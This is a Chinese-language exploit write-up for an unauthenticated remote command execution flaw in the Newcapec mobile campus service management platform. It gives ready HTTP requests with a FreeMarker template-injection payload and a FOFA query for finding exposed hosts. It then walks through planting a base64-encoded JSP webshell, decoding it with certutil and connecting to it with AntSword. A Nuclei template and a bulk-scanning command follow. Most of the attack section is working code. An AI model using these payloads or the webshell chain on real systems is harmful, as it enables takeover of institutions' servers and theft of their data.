文章目录
- 新开普掌上校园服务管理平台service.action RCE漏洞复现 [附POC]
- 0x01 前言
- 0x02 漏洞描述
- 0x03 影响版本
- 0x04 漏洞环境
- 0x05 漏洞复现
- 1.访问漏洞环境
- 2.构造POC
- 3.复现
新开普掌上校园服务管理平台service.action RCE漏洞复现 [附POC]
0x01 前言
免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!
0x02 漏洞描述
新开普掌上校园服务管理平台service.action接口处存在远程命令执行漏洞,攻击者可在未经身份认证的情况下,调用后台接口,执行恶意系统命令。
0x03 影响版本
新开普掌上校园服务管理平台
0x04 漏洞环境
FOFA语法:title=“掌上校园服务管理平台”
0x05 漏洞复现
1.访问漏洞环境
2.构造POC
POC (POST)
POST /service_transport/service.action HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
{
"command": "GetFZinfo",
"UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
?new()>${ex(\"cmd /c 执行的命令\")}"
3.复现
访问http://ip:port/service_transport/service.action,出现如下结果说明漏洞存在
执行ping命令
1.发送执行ping命令的数据包并配合dnslog查看回显(此漏洞命令执行无回显)
2.查看dnslog是否有回显
有回显,ping命令成功执行。
写入文件
使用echo写入12345678到ser.txt文件中
POST /service_transport/service.action HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
{
"command": "GetFZinfo",
"UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
?new()>${ex(\"cmd /c echo 12345678 >./webapps/ROOT/ser.txt\")}"
}
访问写入的ser.txt文件是否写入成功。
GET /ser.txt HTTP/1.1
Host: ip:port
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0
有回显写入的12345678,文件成功写入!!!
深度利用:
既然可以写入文件,尝试写入jsp木马。
第一步:写入jsp的木马
首先对jsp马进行base64编码
POST /service_transport/service.action HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
{
"command": "GetFZinfo",
"UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\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ogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5nKGJhc2U2NERlY29kZShjbHMpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7CiAgICB9CiU+ >./webapps/ROOT/Aaction.txt\")}"
}
第二步:使用certutil命令将文件解码并转换为jsp文件
POST /service_transport/service.action HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
{
"command": "GetFZinfo",
"UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
?new()>${ex(\"cmd /c certutil -decode ./webapps/ROOT/Aaction.txt ./webapps/ROOT/qAaction.jsp\")}"
}
第三步:
蚁剑连接:http://your-ip/qAaction.jsp
Nuclei POC
id: newcapec-CampusMobileServiceManagementPlatform-RCE
info:
name: 新开普掌上校园服务管理平台service.action远程命令执行漏洞
author: fgz
severity: high
description: '新开普掌上校园服务管理平台/service_transport/service.action接口处存在远程命令执行漏洞,攻击者可在未经身份认证的情况下,调用后台接口,执行恶意系统命令。'
tags: 2023,xinkaipu,rce
metadata:
max-request: 3
fofa-query: title="掌上校园服务管理平台"
verified: true
http:
- raw:
- |
POST /service_transport/service.action HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
{
"command": "GetFZinfo",
"UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
?new()>${ex(\"cmd /c echo {{randstr}} >./webapps/ROOT/{{randstr}}.txt\")}"
}
- |
GET /{{randstr}}.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code_2 == 200 && contains(body_2, '{{randstr}}')"
用法:
nuclei.exe -t newcapec-CampusMobileServiceManagementPlatform-RCE.yaml -l urls.txt